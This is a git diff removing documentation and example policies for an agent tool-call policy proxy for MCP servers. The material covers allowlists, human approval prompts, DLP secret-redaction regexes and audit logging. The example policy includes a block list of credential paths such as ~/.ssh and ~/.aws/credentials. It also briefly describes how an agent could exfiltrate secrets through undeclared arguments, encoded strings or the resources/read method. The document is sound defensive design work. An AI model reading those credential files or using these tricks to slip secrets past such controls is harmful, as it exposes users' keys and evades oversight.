- -### Rate Limiting - -```yaml -tool_rules: - - tool: list_gpus - rate_limit: "10/minute" -``` - -Rate limits are evaluated using a token bucket algorithm per tool name. - -## Human-in-the-Loop - -For sensitive operations, AIP can prompt the user via native OS dialogs: - -```yaml -tool_rules: - - tool: run_training - action: ask -``` - -### Implementation - -| OS | Method | -|----|--------| -| macOS | `osascript` with AppleScript dialog | -| Linux | `zenity` or `kdialog` | -| Headless | Auto-deny (fail-closed) | - -### Timeout Behavior - -- Default timeout: 60 seconds -- If user doesn't respond: **auto-deny** (fail-closed) -- If user clicks "Deny": request blocked -- If user clicks "Allow": request forwarded - -## DLP (Data Loss Prevention) - -### Response Scanning - -DLP inspects tool responses for sensitive patterns: - -```yaml -dlp: - patterns: - - name: "AWS Key" - regex: "(AKIA|ASIA)[A-Z0-9]{16}" - - name: "SSN" - regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b" -``` - -### Redaction Format - -Matched content is replaced with: `[REDACTED:]` - -Example: -``` -Input: "API Key: AKIAIOSFODNN7EXAMPLE" -Output: "API Key: [REDACTED:AWS Key]" -``` - -### Content Parsing - -DLP scans the `text` fields within MCP content arrays: - -```json -{ - "result": { - "content": [ - {"type": "text", "text": "sensitive data here"} - ] - } -} -``` - -If response doesn't match expected structure, a full-string scan is performed. - -## Audit System - -### Log Format - -JSONL (JSON Lines) format, one record per line: - -```json -{ - "timestamp": "2026-01-20T10:30:00Z", - "event_type": "TOOL_CALL", - "tool": "github_create_review", - "args": {"repo": "mycompany/backend", "event": "APPROVE"}, - "decision": "ALLOW", - "violation": false, - "policy_mode": "enforce" -} -``` - -### Event Types - -| Event | Description | -|-------|-------------| -| `TOOL_CALL` | Tool call evaluation (allow/block) | -| `DLP_TRIGGERED` | Sensitive data redacted | -| `USER_PROMPT` | Human-in-the-loop prompt result | -| `RATE_LIMITED` | Rate limit exceeded | - -### Querying Logs - -```bash -# All violations -cat aip-audit.jsonl | jq 'select(.violation == true)' - -# Tool usage summary -cat aip-audit.jsonl | jq -r '.tool' | sort | uniq -c - -# DLP events -cat aip-audit.jsonl | jq 'select(.event_type == "DLP_TRIGGERED")' -``` - -## Design Decisions - -### Why stdin/stdout Proxy? - -MCP uses JSON-RPC over stdio. The proxy pattern allows: -- **Transparency**: No changes to client or server -- **Composability**: Chain multiple proxies -- **Debuggability**: All traffic flows through one point - -### Why YAML Policies? - -- Human-readable and editable -- GitOps-friendly (version control, code review) -- Established pattern (Kubernetes, CloudFormation) -- Extensible schema - -### Why Not OAuth? - -OAuth scopes are: -- Coarse-grained ("repo access" vs "read pull requests") -- Static (granted at install time) -- User-facing (consent fatigue) - -AIP policies are: -- Fine-grained (per-tool, per-argument) -- Dynamic (can change without re-auth) -- Developer-controlled (in config files) - -### Why Local Binary, Not Service? - -- **Zero network latency**: Proxy runs in same process chain -- **No shared state**: Each agent gets isolated policy -- **Offline operation**: Works without external dependencies -- **Simpler deployment**: Single binary, no database diff --git a/implementations/go-proxy/docs/identity-guide.md b/implementations/go-proxy/docs/identity-guide.md deleted file mode 100644 index e957de2..0000000 --- a/implementations/go-proxy/docs/identity-guide.md +++ /dev/null @@ -1,111 +0,0 @@ -# Identity Management Guide - -## Overview - -AIP v1alpha2 introduces **Identity Tokens** to provide cryptographic proof of session identity. This prevents unauthorized agents from hijacking sessions or replaying requests. - -Identity management in AIP provides: -1. **Session Binding**: Cryptographically binds requests to a specific agent session. -2. **Automatic Rotation**: Short-lived tokens are automatically rotated to limit exposure. -3. **Replay Prevention**: Nonces prevent captured tokens from being reused. -4. **Policy Integrity**: Ensures the policy hasn't changed during the session. - -## When to Use Identity Tokens - -You should enable identity tokens when: - -* **Multi-tenant environments**: Multiple agents share the same infrastructure or policy. -* **Zero-trust deployments**: You don't trust the network between the agent and the proxy. -* **Audit requirements**: You need to correlate specific tool calls to a verified session. -* **Remote validation**: You are using the AIP Server for centralized policy enforcement. - -## Configuration - -Identity is configured in the `spec.identity` section of your policy file. - -```yaml -apiVersion: aip.io/v1alpha2 -kind: AgentPolicy -metadata: - name: secure-agent -spec: - identity: - enabled: true - token_ttl: "10m" # Tokens valid for 10 minutes - rotation_interval: "8m" # Rotate after 8 minutes - require_token: true # Block requests without tokens - session_binding: "strict" # Bind to process + policy + host - audience: "https://api.company.com" # Prevent token reuse across services -``` - -### Key Fields - -| Field | Description | Recommended Value | -|-------|-------------|-------------------| -| `enabled` | Activates identity management | `true` | -| `token_ttl` | How long a token is valid | `"5m"` to `"15m"` | -| `rotation_interval` | When to issue a new token | `80%` of `token_ttl` | -| `require_token` | Whether to enforce token presence | `true` (after testing) | -| `session_binding` | What to bind the session to | See below | - -## Session Binding Modes - -The `session_binding` field controls how strictly the session is tied to the execution environment. - -| Mode | Binds To | Use Case | Security Level | -|------|----------|----------|----------------| -| `process` | OS Process ID (PID) | Local agents, single machine | Low | -| `policy` | Policy Hash | Distributed agents, k8s pods | Medium | -| `strict` | PID + Policy + Hostname | High-security, static VMs | High | - -### Choosing a Mode - -* **Use `process`** for local development or simple CLI tools. -* **Use `policy`** for Kubernetes or containerized environments where PIDs and hostnames change (ephemeral). -* **Use `strict`** for long-running VMs or bare-metal servers where the environment is stable. - -## Token Lifecycle - -1. **Issuance**: When the agent starts (or first requests a token), AIP issues a signed JWT. -2. **Usage**: The agent includes the token in the `Authorization: Bearer ` header (or internal context). -3. **Rotation**: Before the token expires (at `rotation_interval`), AIP automatically issues a new token. -4. **Validation**: For every request, AIP checks: - * Signature validity - * Expiration time - * Policy hash match - * Session binding match - * Nonce uniqueness (replay check) - -## Example: Securing Multi-Tenant Deployments - -In a multi-tenant setup, you might have different agents for different teams using the same AIP proxy instance (or cluster). - -**Team A Policy (`team-a.yaml`)**: -```yaml -metadata: - name: team-a-agent -spec: - identity: - enabled: true - audience: "https://aip.internal/team-a" - session_binding: "policy" -``` - -**Team B Policy (`team-b.yaml`)**: -```yaml -metadata: - name: team-b-agent -spec: - identity: - enabled: true - audience: "https://aip.internal/team-b" - session_binding: "policy" -``` - -By setting different `audience` values and using `session_binding: "policy"`, you ensure that a token stolen from Team A cannot be used to impersonate Team B, even if they share the same underlying infrastructure. - -## Common Pitfalls - -1. **Rotation Interval too close to TTL**: If `rotation_interval` is equal to or greater than `token_ttl`, tokens will expire before they can be rotated, causing request failures. Keep a buffer (e.g., 20%). -2. **Strict binding in Kubernetes**: Using `session_binding: "strict"` in Kubernetes will cause session failures if a pod restarts (new PID/hostname). Use `policy` binding instead. -3. **Ignoring Audience**: Always set `audience` in production to prevent "confused deputy" attacks where a token for one service is used for another. diff --git a/implementations/go-proxy/docs/integration-guide.md b/implementations/go-proxy/docs/integration-guide.md deleted file mode 100644 index ac07853..0000000 --- a/implementations/go-proxy/docs/integration-guide.md +++ /dev/null @@ -1,363 +0,0 @@ -# Integration Guide - -How to integrate AIP with your development environment and AI tools. - -## Table of Contents - -- [Cursor IDE](#cursor-ide) -- [VS Code](#vs-code) -- [Claude Desktop](#claude-desktop) -- [Command Line](#command-line) -- [Docker](#docker) -- [Kubernetes](#kubernetes) - -## Cursor IDE - -Cursor natively supports MCP servers. AIP wraps your MCP servers with policy enforcement. - -### Quick Setup - -1. **Build AIP**: - ```bash - cd proxy - make build - ``` - -2. **Create a policy** (`~/.config/aip/my-policy.yaml`): - ```yaml - apiVersion: aip.io/v1alpha1 - kind: AgentPolicy - metadata: - name: cursor-policy - spec: - mode: enforce - allowed_tools: - - read_file - - list_directory - - search_files - tool_rules: - - tool: write_file - action: ask # Prompt for approval - - tool: exec_command - action: block - ``` - -3. **Generate Cursor config**: - ```bash - ./bin/aip --generate-cursor-config \ - --policy ~/.config/aip/my-policy.yaml \ - --target "npx @modelcontextprotocol/server-filesystem /path/to/workspace" - ``` - -4. **Add to Cursor settings** (`~/.cursor/mcp.json`): - ```json - { - "mcpServers": { - "protected-filesystem": { - "command": "/path/to/aip", - "args": [ - "--policy", "/Users/you/.config/aip/my-policy.yaml", - "--target", "npx @modelcontextprotocol/server-filesystem /path/to/workspace" - ] - } - } - } - ``` - -5. **Restart Cursor** to load the new MCP server. - -### Example: GPU Server with Policy - -For your Kubernetes GPU MCP server: - -```yaml -# gpu-policy.yaml -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: k8s-gpu-policy -spec: - mode: enforce - allowed_tools: - - list_gpus - - get_gpu_metrics - - list_pods - tool_rules: - - tool: list_gpus - rate_limit: "10/minute" - - tool: run_training - action: ask - - tool: delete_pod - action: block -``` - -Generate config: -```bash -./bin/aip --generate-cursor-config \ - --policy ./gpu-policy.yaml \ - --target "/path/to/k8s-gpu-mcp-server" -``` - -### Demo: "Sudo for AI" - -1. Ask Cursor: **"List my GPUs."** - - Tool: `list_gpus` - - Policy: Allowed with rate limit - - Result: βœ… Success - -2. Ask Cursor: **"Run a training job on GPU 0."** - - Tool: `run_training` - - Policy: `action: ask` - - Result: πŸ”” Popup appears - - Click "Deny" β†’ ❌ "User Denied" - -## VS Code - -VS Code doesn't have native MCP support, but you can use AIP with extensions like Continue or Cody. - -### With Continue Extension - -1. Install [Continue](https://continue.dev/) extension - -2. Configure Continue to use your MCP server via AIP: - - ```json - // ~/.continue/config.json - { - "models": [...], - "mcpServers": { - "protected-server": { - "command": "/path/to/aip", - "args": [ - "--policy", "/path/to/policy.yaml", - "--target", "your-mcp-server-command" - ] - } - } - } - ``` - -## Claude Desktop - -Claude Desktop supports MCP servers through its configuration. - -### Setup - -1. Locate config file: - - macOS: `~/Library/Application Support/Claude/claude_desktop_config.json` - - Windows: `%APPDATA%\Claude\claude_desktop_config.json` - -2. Add AIP-wrapped server: - - ```json - { - "mcpServers": { - "protected-tools": { - "command": "/path/to/aip", - "args": [ - "--policy", "/path/to/policy.yaml", - "--target", "npx @modelcontextprotocol/server-filesystem /" - ] - } - } - } - ``` - -3. Restart Claude Desktop. - -## Command Line - -### Direct Usage - -Run AIP directly to wrap any MCP server: - -```bash -# Basic usage -./aip --target "python my_server.py" --policy policy.yaml - -# Verbose mode for debugging -./aip --target "npx @mcp/server" --policy policy.yaml --verbose - -# Monitor mode (dry run) -./aip --target "docker run mcp/server" --policy monitor-policy.yaml -``` - -### Piping Requests - -Test with manual JSON-RPC: - -```bash -echo '{"jsonrpc":"2.0","method":"tools/call","params":{"name":"list_files"},"id":1}' | \ - ./aip --target "python echo_server.py" --policy policy.yaml --verbose -``` - -### Viewing Audit Logs - -```bash -# All events -cat aip-audit.jsonl | jq '.' - -# Blocked requests only -cat aip-audit.jsonl | jq 'select(.decision == "BLOCK")' - -# Tool usage summary -cat aip-audit.jsonl | jq -r '.tool' | sort | uniq -c | sort -rn -``` - -## Docker - -### Building the Image - -```dockerfile -# Dockerfile -FROM golang:1.23-alpine AS builder -WORKDIR /app -COPY implementations/go-proxy/ . -RUN go build -o /aip ./cmd/aip-proxy - -FROM alpine:latest -RUN apk --no-cache add ca-certificates -COPY --from=builder /aip /usr/local/bin/aip -ENTRYPOINT ["aip"] -``` - -Build: -```bash -docker build -t aip:latest . -``` - -### Running with Docker - -```bash -# Mount policy and run -docker run -v $(pwd)/policy.yaml:/policy.yaml \ - aip:latest \ - --policy /policy.yaml \ - --target "your-mcp-command" -``` - -### Docker Compose - -```yaml -# docker-compose.yaml -version: '3.8' -services: - mcp-proxy: - image: aip:latest - volumes: - - ./policy.yaml:/policy.yaml:ro - - ./audit:/var/log/aip - command: - - --policy - - /policy.yaml - - --target - - "python /app/server.py" - - --audit - - /var/log/aip/audit.jsonl - stdin_open: true - tty: true -``` - -## Kubernetes - -### Sidecar Pattern - -Deploy AIP as a sidecar container alongside your MCP server: - -```yaml -# deployment.yaml -apiVersion: apps/v1 -kind: Deployment -metadata: - name: mcp-server -spec: - template: - spec: - containers: - # Main MCP server - - name: mcp-server - image: your-mcp-server:latest - # Server listens on stdio or a socket - - # AIP sidecar - - name: aip-proxy - image: aip:latest - args: - - --policy - - /config/policy.yaml - - --target - - "nc localhost 8080" # Connect to main server - - --audit - - /var/log/aip/audit.jsonl - volumeMounts: - - name: policy - mountPath: /config - - name: audit - mountPath: /var/log/aip - - volumes: - - name: policy - configMap: - name: aip-policy - - name: audit - emptyDir: {} -``` - -### ConfigMap for Policy - -```yaml -# configmap.yaml -apiVersion: v1 -kind: ConfigMap -metadata: - name: aip-policy -data: - policy.yaml: | - apiVersion: aip.io/v1alpha1 - kind: AgentPolicy - metadata: - name: k8s-policy - spec: - mode: enforce - allowed_tools: - - list_pods - - get_logs - tool_rules: - - tool: delete_pod - action: block -``` - -### Helm Chart (Future) - -A Helm chart is planned for easier Kubernetes deployment. Track progress in [GitHub Issues](https://github.com/ArangoGutierrez/agent-identity-protocol/issues). - -## Troubleshooting - -### Common Issues - -| Issue | Solution | -|-------|----------| -| "Policy file not found" | Use absolute path to policy.yaml | -| "Empty response from server" | Check target command is correct | -| "Permission denied" | Ensure aip binary is executable | -| "Headless environment" | `action: ask` will auto-deny without display | - -### Debug Mode - -Enable verbose logging to diagnose issues: - -```bash -./aip --target "..." --policy policy.yaml --verbose 2>debug.log -``` - -Check `debug.log` for detailed message flow. - -### Audit Log Analysis - -```bash -# Recent blocked requests -tail -100 aip-audit.jsonl | jq 'select(.decision == "BLOCK")' - -# DLP events -jq 'select(.event_type == "DLP_TRIGGERED")' aip-audit.jsonl -``` diff --git a/implementations/go-proxy/docs/quickstart.md b/implementations/go-proxy/docs/quickstart.md deleted file mode 100644 index acf3276..0000000 --- a/implementations/go-proxy/docs/quickstart.md +++ /dev/null @@ -1,196 +0,0 @@ -# Quickstart: AIP Proxy Interception Test - -This guide walks through a minimal test demonstrating the AIP proxy's policy enforcement. By the end, you'll see how the proxy blocks unauthorized tool calls while allowing permitted ones. - -## Prerequisites - -- Go 1.25+ -- Python 3.x - -## What We're Building - -``` -β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β” -β”‚ stdin │────▢│ AIP Proxy │────▢│ echo_server.py β”‚ -β”‚ (you) β”‚ β”‚ (policy check) β”‚ β”‚ (dummy MCP) β”‚ -β”‚ │◀────│ │◀────│ β”‚ -β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜ -``` - -The proxy sits between your input and a dummy MCP server, intercepting `tools/call` requests and checking them against a policy file. - -## Step 1: Build the Proxy - -```bash -cd proxy -go build -o aip-proxy ./cmd/aip-proxy -``` - -## Step 2: Create a Test Policy - -Create `test/agent.yaml`: - -```yaml -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy -metadata: - name: test-policy -spec: - allowed_tools: - - "list_files" - # "delete_files" is implicitly blocked -``` - -This policy allows only `list_files`. Any other tool call will be rejected. - -## Step 3: Create a Dummy MCP Server - -Create `test/echo_server.py`: - -```python -#!/usr/bin/env python3 -""" -Dummy MCP server that echoes back JSON-RPC requests. -""" -import sys -import json - -def main(): - sys.stdout.reconfigure(line_buffering=True) - - for line in sys.stdin: - line = line.strip() - if not line: - continue - - try: - request = json.loads(line) - response = { - "jsonrpc": "2.0", - "id": request.get("id"), - "result": { - "echo": request, - "message": "Request received by echo_server" - } - } - print(json.dumps(response), flush=True) - except json.JSONDecodeError as e: - print(json.dumps({ - "jsonrpc": "2.0", - "id": None, - "error": {"code": -32700, "message": f"Parse error: {e}"} - }), flush=True) - -if __name__ == "__main__": - main() -``` - -## Step 4: Run the Test - -Start the proxy with verbose logging: - -```bash -./aip-proxy --policy test/agent.yaml --target "python3 test/echo_server.py" --verbose -``` - -In another terminal (or pipe input), send two requests: - -### Test 1: Allowed Tool (`list_files`) - -```json -{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "list_files"}, "id": 1} -``` - -**Expected:** Request passes through to `echo_server.py`, response returned. - -### Test 2: Blocked Tool (`delete_files`) - -```json -{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "delete_files"}, "id": 2} -``` - -**Expected:** Proxy blocks the request, returns error. Request **never reaches** the server. - -## Expected Output - -``` -[aip-proxy] Loaded policy: test-policy -[aip-proxy] Allowed tools: [list_files] -[aip-proxy] Started subprocess PID 2850: python3 test/echo_server.py - -[aip-proxy] β†’ [upstream] method=tools/call id=1 -[aip-proxy] Tool call intercepted: list_files -[aip-proxy] ALLOWED: Tool "list_files" permitted by policy - -[aip-proxy] β†’ [upstream] method=tools/call id=2 -[aip-proxy] Tool call intercepted: delete_files -[aip-proxy] BLOCKED: Tool "delete_files" not allowed by policy -``` - -### JSON Responses - -**Blocked request (delete_files):** - -```json -{ - "jsonrpc": "2.0", - "id": 2, - "error": { - "code": -32001, - "message": "Forbidden", - "data": { - "reason": "Tool not in allowed_tools list", - "tool": "delete_files" - } - } -} -``` - -**Allowed request (list_files):** - -```json -{ - "jsonrpc": "2.0", - "id": 1, - "result": { - "echo": { - "jsonrpc": "2.0", - "method": "tools/call", - "params": {"name": "list_files"}, - "id": 1 - }, - "message": "Request received by echo_server" - } -} -``` - -## One-Liner Test - -Run both requests in a single command: - -```bash -echo '{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "list_files"}, "id": 1} -{"jsonrpc": "2.0", "method": "tools/call", "params": {"name": "delete_files"}, "id": 2}' | \ -./aip-proxy --policy test/agent.yaml --target "python3 test/echo_server.py" --verbose -``` - -## Key Takeaways - -| Scenario | Policy Decision | Behavior | -|----------|-----------------|----------| -| Tool in `allowed_tools` | ALLOW | Forward to subprocess | -| Tool not in `allowed_tools` | DENY | Return `-32001 Forbidden`, never forward | -| Non-tool methods | PASSTHROUGH | Forward without policy check | - -## Security Properties Demonstrated - -1. **Fail-Closed**: Unknown tools are denied by default -2. **Zero Trust**: Every `tools/call` is checked, no implicit permissions -3. **Audit Trail**: All decisions logged with tool name and outcome -4. **Isolation**: Blocked requests never reach the target server - -## Next Steps - -- Add more tools to `allowed_tools` in your policy -- Try with a real MCP server (e.g., `npx @modelcontextprotocol/server-filesystem`) -- Explore the proxy source code in `cmd/aip-proxy/main.go` diff --git a/implementations/go-proxy/docs/server-guide.md b/implementations/go-proxy/docs/server-guide.md deleted file mode 100644 index 678dc12..0000000 --- a/implementations/go-proxy/docs/server-guide.md +++ /dev/null @@ -1,124 +0,0 @@ -# Server-Side Validation Guide - -## Overview - -AIP v1alpha2 introduces **Server-Side Validation**, allowing you to decouple policy enforcement from the agent's runtime. Instead of running the AIP proxy locally with the agent, you can run a centralized AIP Server that validates tool calls over HTTP. - -Benefits: -* **Centralized Control**: Update policies in one place without redeploying agents. -* **Audit Aggregation**: Collect audit logs from all agents in a single stream. -* **Secret Protection**: Keep sensitive policy details (like regex patterns or protected paths) on the server. - -## Architecture - -``` -[Agent / MCP Client] ---> [AIP Server] ---> [MCP Server] - (HTTP) (HTTP) -``` - -The agent sends a validation request to the AIP Server. If approved, the agent proceeds to call the tool (or the AIP Server can proxy the call directly, depending on deployment). - -## Configuration - -To enable the server, configure the `spec.server` section in your policy. - -```yaml -apiVersion: aip.io/v1alpha2 -kind: AgentPolicy -metadata: - name: centralized-policy -spec: - server: - enabled: true - listen: "0.0.0.0:9443" # Listen on all interfaces - failover_mode: "fail_closed" - tls: - cert: "/etc/aip/certs/server.crt" - key: "/etc/aip/certs/server.key" -``` - -## Setting up TLS (Production) - -For any non-localhost deployment, **TLS is required**. - -1. **Generate Certificates**: - ```bash - openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes - ``` - -2. **Configure Policy**: - Point the `tls.cert` and `tls.key` fields to your generated files. - -3. **Client Trust**: - Ensure your agents trust the CA that signed the server certificate. - -## Endpoints - -The AIP Server exposes the following endpoints: - -* `POST /v1/validate`: The main validation endpoint. Accepts a tool call description and returns Allow/Block/Ask. -* `GET /health`: Health check for load balancers. -* `GET /metrics`: Prometheus metrics. -* `GET /v1/jwks`: JSON Web Key Set for verifying identity tokens. - -## Prometheus Metrics Integration - -The server exposes standard Prometheus metrics at `/metrics`. - -**Key Metrics**: - -* `aip_requests_total`: Total number of validation requests. -* `aip_decisions_total{decision="allow|block"}`: Count of allowed vs blocked requests. -* `aip_violations_total{type="..."}`: Detailed breakdown of policy violations. -* `aip_request_duration_seconds`: Latency histogram. - -**Example Prometheus Config**: - -```yaml -scrape_configs: - - job_name: 'aip-server' - static_configs: - - targets: ['aip-server:9443'] - scheme: https - tls_config: - insecure_skip_verify: false # Set to true only for self-signed -``` - -## Failover Modes - -What happens if the AIP Server is unreachable? - -| Mode | Behavior | Use Case | -|------|----------|----------| -| `fail_closed` | **Block** all requests. | High-security environments. Default. | -| `fail_open` | **Allow** all requests (log warning). | Development or non-critical tools. | -| `local_policy` | Fallback to a **local** policy file. | Hybrid deployments (best of both worlds). | - -**Example: Local Policy Fallback** - -```yaml -spec: - server: - enabled: true - failover_mode: "local_policy" - timeout: "2s" -``` - -In this mode, the agent tries the server first. If it times out after 2 seconds, it evaluates the request against the local policy file. - -## Example: Centralized Policy Enforcement - -1. **Deploy AIP Server**: - Run the AIP binary in "server mode" with your master policy. - ```bash - ./aip server --policy master-policy.yaml - ``` - -2. **Configure Agents**: - Configure your agents to use the remote validator. - ```bash - export AIP_VALIDATOR_URL="https://aip-server:9443/v1/validate" - ./agent ... - ``` - - *(Note: Client-side configuration depends on the specific MCP client implementation. See your client's documentation for AIP integration.)* diff --git a/implementations/go-proxy/examples/agent-monitor.yaml b/implementations/go-proxy/examples/agent-monitor.yaml deleted file mode 100644 index 4a59cce..0000000 --- a/implementations/go-proxy/examples/agent-monitor.yaml +++ /dev/null @@ -1,59 +0,0 @@ -# Example AIP Policy Manifest - Monitor Mode (Dry Run) -# -# This policy operates in "monitor" mode, which allows all requests through -# but logs violations to the audit file. Use this mode to: -# - Test new policies before enforcement -# - Understand agent behavior in production -# - Gradually roll out stricter policies -# -# Usage: -# aip-proxy --target "python mcp_server.py" --policy examples/agent-monitor.yaml -# -# Check audit log for violations: -# cat aip-audit.jsonl | jq 'select(.violation == true)' - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: code-review-agent-monitor - version: "1.0.0" - owner: platform-team@company.com - -spec: - # MONITOR MODE: Violations are logged but requests pass through - # Change to "enforce" to block violations - mode: monitor - - # Tools that this agent is allowed to invoke. - # In monitor mode, tools NOT in this list will be logged as violations - # but still allowed through. - allowed_tools: - # GitHub read operations - - github_get_repo - - github_list_pulls - - github_get_pull - - github_list_commits - - # GitHub write operations (limited) - - github_create_review - - github_add_comment - - # Filesystem operations (read-only) - - read_file - - list_directory - - # Argument-level validation rules - # In monitor mode, failed argument validation is logged but allowed - tool_rules: - - tool: fetch_url - allow_args: - # Only allow HTTPS URLs from trusted domains - url: "^https://(github\\.com|api\\.github\\.com)/.*" - - - tool: run_query - allow_args: - # Only allow read-only queries - query: "^SELECT\\s+.*" - # Only allow specific databases - database: "^(analytics|reporting)$" diff --git a/implementations/go-proxy/examples/agent.yaml b/implementations/go-proxy/examples/agent.yaml deleted file mode 100644 index a3114da..0000000 --- a/implementations/go-proxy/examples/agent.yaml +++ /dev/null @@ -1,231 +0,0 @@ -# Example AIP Policy Manifest -# -# This file defines what tools an agent is allowed to use. -# The AIP proxy loads this file at startup and enforces these rules -# on every tool/call request. -# -# Usage: -# aip-proxy --target "python mcp_server.py" --policy examples/agent.yaml -# -# For monitor mode (dry-run), set spec.mode: monitor -# This logs violations but allows requests through for testing policies. - -apiVersion: aip.io/v1alpha1 -kind: AgentPolicy - -metadata: - name: code-review-agent - version: "1.0.0" - owner: platform-team@company.com - -spec: - # Policy enforcement mode: - # - "enforce" (default): Block violations, return error to client - # - "monitor": Log violations but allow through (dry-run mode) - # - # Monitor mode is useful for: - # - Testing new policies before enforcement - # - Understanding agent behavior in production - # - Gradual policy rollout - mode: enforce - - # ============================================================================ - # METHOD ALLOWLIST (First Line of Defense) - # ============================================================================ - # - # Control which JSON-RPC methods are permitted. This is checked BEFORE - # tool-level policy, preventing bypass attacks via methods like resources/read. - # - # If omitted, only safe default methods are allowed: - # - tools/call, tools/list (subject to tool policy) - # - initialize, initialized, ping (MCP handshake) - # - completion/complete, notifications/* - # - # SECURITY: The following are BLOCKED by default: - # - resources/read, resources/list (can read arbitrary files!) - # - prompts/get, prompts/list (can access prompt templates) - # - # Uncomment below to explicitly allow additional methods: - # - # allowed_methods: - # - tools/call - # - tools/list - # - resources/read # ⚠️ DANGEROUS: Only enable if you understand the risk - # - prompts/list - # - # To block specific methods (takes precedence over allowed): - # denied_methods: - # - resources/write - # - logging/setLevel - - # ============================================================================ - # TOOL ALLOWLIST - # ============================================================================ - # - # Tools that this agent is allowed to invoke. - # Any tool not in this list will be blocked with a -32001 Forbidden error. - # - # Tool names should match exactly what the MCP server reports in tools/list. - # Common patterns: - # - github_get_repo, github_list_pulls, github_create_review - # - postgres_query - # - slack_post_message - allowed_tools: - # GitHub read operations - - github_get_repo - - github_list_pulls - - github_get_pull - - github_list_commits - - # GitHub write operations (limited) - - github_create_review - - github_add_comment - - # Filesystem operations (read-only) - - read_file - - list_directory - - # Explicitly NOT allowed (for reference): - # - github_delete_repo # Destructive - # - github_push # Write to repo - # - postgres_query # Database access - # - slack_post_message # External communication - # - exec_command # Arbitrary code execution - - # ============================================================================ - # PROTECTED PATHS (Policy Self-Modification Defense) - # ============================================================================ - # - # Paths that tools may not read, write, or modify. - # Any tool argument containing a protected path will be BLOCKED. - # - # The policy file itself is ALWAYS protected (added automatically). - # Add additional sensitive paths here: - # - protected_paths: - - ~/.ssh # SSH keys - - ~/.aws/credentials # AWS credentials - - ~/.config/gcloud # GCP credentials - - .env # Environment variables - - .env.local # Local environment - # Note: The policy file (this file) is automatically protected - - # ============================================================================ - # STRICT ARGS MODE (Global Default) - # ============================================================================ - # - # When strict_args_default is true, tools reject any arguments not declared - # in their allow_args. This prevents exfiltration attacks via extra args. - # - # Example attack prevented: - # Policy validates: url: "^https://github.com/.*" - # Attacker sends: {"url": "https://github.com/ok", "headers": {"X-Exfil": "secret"}} - # Without strict: headers passes through unchecked (BAD!) - # With strict: BLOCKED - "headers" not in allow_args (GOOD!) - # - # strict_args_default: false # Uncomment to enable globally - # - # Individual tools can override with strict_args: true/false - - # ============================================================================ - # TOOL RULES - # ============================================================================ - # - # Each rule can specify: - # - action: "allow" (default), "block", or "ask" - # - strict_args: true/false (override global default) - # - allow_args: Regex patterns for argument validation - # - # Action types: - # - "allow": Permit the tool call (subject to arg validation) - # - "block": Deny the tool call unconditionally - # - "ask": Prompt user via native OS dialog for approval (Human-in-the-Loop) - # - # The "ask" action spawns a native dialog box asking the user to - # Approve or Deny. If the user doesn't respond within 60 seconds, - # the request is auto-denied (fail-closed behavior). - tool_rules: - # Example: Dangerous tool requires explicit user approval - - tool: dangerous_tool - action: ask - - # Example: Shell execution requires approval AND argument validation - - tool: exec_command - action: ask - allow_args: - command: "^(ls|cat|echo|pwd)\\s.*" # Only safe read-only commands - - # Example: Database queries allowed but only SELECT statements - - tool: postgres_query - action: allow - allow_args: - query: "^SELECT\\s+.*" - - # Example: High-security API with strict argument validation - # Only declared arguments are allowed; extra args are blocked - - tool: http_request - strict_args: true - allow_args: - url: "^https://api\\.github\\.com/.*" - method: "^(GET|POST)$" - # With strict_args: true, these would be BLOCKED: - # {"url": "...", "method": "GET", "headers": {...}} ← headers not declared - # {"url": "...", "method": "GET", "body": "..."} ← body not declared - - # Example: Explicitly block destructive operations - - tool: github_delete_repo - action: block - - - tool: drop_table - action: block - - # DLP (Data Loss Prevention) - Output Redaction - # - # The DLP scanner inspects tool responses (downstream) for sensitive data - # and redacts matches before forwarding to the client. This prevents - # accidental exposure of PII, API keys, and secrets through tool outputs. - # - # When a pattern matches, the sensitive data is replaced with: - # [REDACTED:] - # - # Each redaction is logged to the audit trail as a DLP_TRIGGERED event. - # - # ENCODING DETECTION: - # detect_encoding: true enables scanning of base64/hex encoded strings. - # This catches bypass attacks where secrets are encoded to evade patterns: - # Original: AKIAIOSFODNN7EXAMPLE - # Base64: QUtJQUlPU0ZPRE5ON0VYQU1QTEU= - # Hex: 414b4941494f53464f444e4e374558414d504c45 - # Without detection, encoded forms would pass through undetected. - dlp: - # enabled: true # Default is true when dlp block is present - detect_encoding: true # Decode base64/hex before scanning (recommended) - filter_stderr: true # Apply DLP to subprocess error logs (recommended) - patterns: - # Email addresses (PII) - - name: "Email" - regex: "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}" - - # AWS Access Key IDs (starts with AKIA, ASIA, etc.) - - name: "AWS Key" - regex: "(A3T[A-Z0-9]|AKIA|AGPA|AIDA|AROA|AIPA|ANPA|ANVA|ASIA)[A-Z0-9]{16}" - - # Generic secret patterns (api_key, secret, password with values) - - name: "Generic Secret" - regex: "(?i)(api_key|secret|password)\\s*[:=]\\s*['\"]?([a-zA-Z0-9-_]+)['\"]?" - - # Social Security Numbers (US) - - name: "SSN" - regex: "\\b\\d{3}-\\d{2}-\\d{4}\\b" - - # Credit Card Numbers (basic pattern - 16 digits with optional separators) - - name: "Credit Card" - regex: "\\b(?:\\d{4}[- ]?){3}\\d{4}\\b" - - # GitHub Personal Access Tokens - - name: "GitHub Token" - regex: "ghp_[a-zA-Z0-9]{36}" - - # Private keys (PEM format headers) - - name: "Private Key" - regex: "-----BEGIN (RSA |EC |DSA |OPENSSH 